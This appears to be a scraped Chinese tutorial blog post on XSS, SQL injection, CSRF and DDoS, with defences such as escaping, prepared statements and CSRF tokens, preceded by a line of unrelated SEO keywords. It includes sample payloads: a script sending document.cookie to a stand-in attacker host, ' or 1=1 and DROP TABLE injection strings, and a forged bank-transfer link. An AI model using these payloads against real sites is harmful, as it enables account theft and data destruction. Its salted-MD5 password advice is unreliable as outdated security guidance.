做全屏式网站尺寸是多大,什么网站做设计可以赚钱,成都易锐互动科技有限公司,代发网站建设教程本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击)CSRF#xff08;跨站请求伪造#xff09;SQL注入DDOSXSS 概念 全称是跨站脚本攻击#xff08;Cross Site Scripting#xff09;#xff0c;指攻击者在网页中嵌入恶意脚本程序。案列 比如说我写了一个博客网站… 本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击)CSRF跨站请求伪造SQL注入DDOS XSS 概念 全称是跨站脚本攻击Cross Site Scripting指攻击者在网页中嵌入恶意脚本程序。案列 比如说我写了一个博客网站然后攻击者在上面发布了一个文章内容是这样的 scriptwindow.open(“www.gongji.com?param”document.cookie)/script,如果我没有对他的内容进行处理直接存储到数据库那么下一次当其他用户访问他的这篇文章的时候服务器从数据库读取后然后响应给客户端浏览器执行了这段脚本然后就把该用户的cookie发送到攻击者的服务器了。被攻击的原因 用户输入的数据变成了代码比如说上面的script,应该只是字符串却有了代码的作用。预防 将输入的数据进行转义处理比如说讲 转义成ltSQL注入 概念 通过sql命令伪装成正常的http请求参数传递到服务器端服务器执行sql命令造成对数据库进行攻击案例 or 1 1。这是最常见的sql注入攻击当我们输如用户名 jiajun 然后密码输如or 1 1的时候我们在查询用户名和密码是否正确的时候本来要执行的是select * from user where username and password,经过参数拼接后会执行sql语句 select * from user where usernamejaijun and password or 11 这个时候11是成立自然就跳过验证了。但是如果再严重一点密码输如的是;drop table user;--那么sql命令为select * from user where usernamejiajun and password;drop table user;-- 这个时候我们就直接把这个表给删除了被攻击的原因 sql语句伪造参数然后在对参数进行拼接的后形成破坏性的sql语句最后导致数据库受到攻击预防 在java中我们可以使用预编译语句(PreparedStatement)这样的话即使我们使用sql语句伪造成参数到了服务端的时候这个伪造sql语句的参数也只是简单的字符并不能起到攻击的作用。很多orm框架已经可以对参数进行转义做最坏的打算即使被’拖库‘(脱裤数据库泄露)。数据库中密码不应明文存储的可以对密码使用md5进行加密为了加大破解成本所以可以采用加盐的数据库存储用户名盐随机字符长md5后的密文方式。CSRF 概念 全称是跨站请求伪造(cross site request forgery),指通过伪装成受信任用户的进行访问通俗的讲就是说我访问了A网站然后cookie存在了浏览器然后我又访问了一个流氓网站不小心点了流氓网站一个链接向A发送请求这个时候流氓网站利用了我的身份对A进行了访问。案列 这个例子可能现实中不会存在但是攻击的方式是一样的。比如说我登录了A银行网站然后我又访问了室友给的一个流氓网站然后点了里面的一个链接 www.A.com/transfer?account666money10000,那么这个时候很可能我就向账号为666的人转了1w软妹币注意这个攻击方式不一定是我点了这个链接也可以是这个网站里面一些资源请求指向了这个转账链接比如说一个img srchttp://www.A.com/transfer?account666money10000被攻击的原因 用户本地存储cookie攻击者利用用户的cookie进行认证然后伪造用户发出请求预防 之所以被攻击是因为攻击者利用了存储在浏览器用于用户认证的cookie那么如果我们不用cookie来验证不就可以预防了。所以我们可以采用token不存储于浏览器认证。通过referer识别HTTP Referer是header的一部分当浏览器向web服务器发送请求的时候一般会带上Referer告诉服务器我是从哪个页面链接过来的服务器基此可以获得一些信息用于处理。那么这样的话我们必须登录银行A网站才能进行转账了。DDOS 概念 分布式拒绝服务攻击Distributed Denial of Service简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的可以通俗理解dos是单挑而ddos是群殴因为现代技术的发展dos攻击的杀伤力降低所以出现了DDOS攻击者借助公共网络将大数量的计算机设备联合起来向一个或多个目标进行攻击。案例 SYN Flood ,简单说一下tcp三次握手客户端先服务器发出请求请求建立连接然后服务器返回一个报文表明请求以被接受然后客户端也会返回一个报文最后建立连接。那么如果有这么一种情况攻击者伪造ip地址发出报文给服务器请求连接这个时候服务器接受到了根据tcp三次握手的规则服务器也要回应一个报文可是这个ip是伪造的报文回应给谁呢第二次握手出现错误第三次自然也就不能顺利进行了这个时候服务器收不到第三次握手时客户端发出的报文又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求这个时候服务器将维护一个非常大的半连接等待列表占用了大量的资源最后服务器瘫痪。CC攻击在应用层http协议上发起攻击模拟正常用户发送大量请求直到该网站拒绝服务为止。被攻击的原因 服务器带宽不足不能挡住攻击者的攻击流量预防 最直接的方法增加带宽。但是攻击者用各地的电脑进行攻击他的带宽不会耗费很多钱但对于服务器来说带宽非常昂贵。云服务提供商有自己的一套完整DDoS解决方案并且能提供丰富的带宽资源总结 上面一共提到了4中攻击方式分别是xss攻击关键是脚本利用恶意脚本发起攻击CSRF攻击关键是借助本地cookie进行认证伪造发送请求SQL注入关键是通过用sql语句伪造参数发出攻击DDOS攻击关键是通过手段发出大量请求最后令服务器崩溃之所以攻击者能成功攻击用户操作是一个原因服务器端没有做好防御是一个问题因为无法控制用户的操作所以需要我们服务器端的开发做好防御。没有觉得绝对安全只要更安全。 参考博客http://www.cnblogs.com/-new/p/7135814.html